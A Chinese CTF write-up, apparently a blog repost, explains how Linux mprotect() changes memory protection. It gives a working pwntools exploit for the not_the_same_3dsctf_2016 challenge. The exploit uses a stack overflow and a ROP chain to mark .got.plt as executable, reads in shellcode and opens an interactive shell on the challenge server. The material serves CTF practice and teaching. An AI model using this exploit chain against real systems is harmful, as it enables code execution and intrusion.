前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN 利用mprotect函数进行.got.plt地址段的读取

PWN 利用mprotect函数进行.got.plt地址段的读取

作者头像
yulate
发布2023-05-02 11:09:56
6380
发布2023-05-02 11:09:56
举报
文章被收录于专栏:yulate的网络安全技术分析

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

mprotect函数详解

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性

函数原型如下:

代码语言:javascript
复制
#include <unistd.h>   
#include <sys/mmap.h>   
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  • PROT_READ:表示内存段内的内容可读;
  • PROT_WRITE:表示内存段内的内容可写;
  • PROT_EXEC:表示内存段中的内容可执行;
  • PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

mprotect函数的利用

这个函数利用方式为将目标地址:.got.plt或.bss段 修改为可读可写可执行

例题分析

not_the_same_3dsctf_2016

原题链接:https://buuoj.cn/challenges#not_the_same_3dsctf_2016

具体分析看我的这篇博客:https://cloud.tencent.com/developer/article/2277509

这里直接写怎么利用了

mprotect函数的第一个参数需要设置为要被修改内存的地址,这里设置为.got.plt表的起始地址,这里不去修改bss字段是因为bss段是用来存放程序中未初始化的全局变量和静态变量的一块内存区域,程序一开始执行的时候会清0,你虽然修改了里面的值,但是程序一执行就会被清0,没法利用。

第二个参数需要设置为被修改内存的大小,这里我还没完全弄明白具体要设置多大,这里我设置为0x100

第三个参数需要设置为被修改内存的权限,这里设置为7 = 4 + 2 + 1 (rwx) 也就是读写执行,这里如果不是很理解,可以百度一下Linux权限。

返回地址覆盖需要三个连续的pop地址,因为mprotect函数需要传入三个地址,使用ROPgadget来获取地址

代码语言:javascript
复制
ROPgadget --binary not_the_same_3dsctf_2016 --only 'pop|ret' | grep pop

在这查出来的一大长串里面选一个就行了

代码语言:javascript
复制
0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
payload
代码语言:javascript
复制
from os import path
from pwn import * 
from LibcSearcher import *

content = 0
context.log_level = 'debug'

elf = ELF('./not_the_same_3dsctf_2016')

# 0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
# 0x08050b45 : pop ebx ; pop esi ; pop edi ; ret
pop3_addr = 0x08050b45 # 三个连续的pop地址,查出来选一个就行了
got_plt_addr = 0x080EB000  # .got.plt表的起始地址
got_plt_size = 0x100  # 内存长度
got_plt_type = 0x7  # 内存权限,读写执行

def main():
    if content == 1:
        p = process('not_the_same_3dsctf_2016')
    else:
        p = remote('node4.buuoj.cn',25349)

    payload = b'a' * 0x2D + p32(elf.symbols['mprotect'])  # 进行栈溢出,将mprotect函数的地址填入返回地址处
    payload += p32(pop3_addr)  # 三个连续的pop地址
    payload += p32(got_plt_addr) + p32(got_plt_size) + p32(got_plt_type)  # mprotect的三个参数
    payload += p32(elf.symbols['read']) # 通过写入read函数的地址
    payload += p32(pop3_addr)
    payload += p32(0) + p32(got_plt_addr) + p32(0x100)
    payload += p32(got_plt_addr)

    p.sendline(payload)

    payload = asm(shellcraft.sh())
    print(payload)

    p.sendline(payload)
    p.interactive()

main()

总结

总结来说就是在存在mprotect函数的情况下,如果出现打开文件之类的操作就可以控制.got.plt表进行内容的读取

payload构建流程:

代码语言:javascript
复制
垃圾数据 --> mprotect函数地址 --> 三个连续的pop地址 --> .got.plt表起始地址 --> 内存长度 --> 内存权限 --> read函数
 --> 三个连续的pop地址 --> read函数的三个参数 --> .got.plt表的起始地址

参考链接

C语言之 mprotect:https://www.cnblogs.com/Max-hhg/articles/13939064.html

浏览量: 447

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • mprotect函数详解
  • mprotect函数的利用
    • 例题分析
      • not_the_same_3dsctf_2016
  • 总结
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档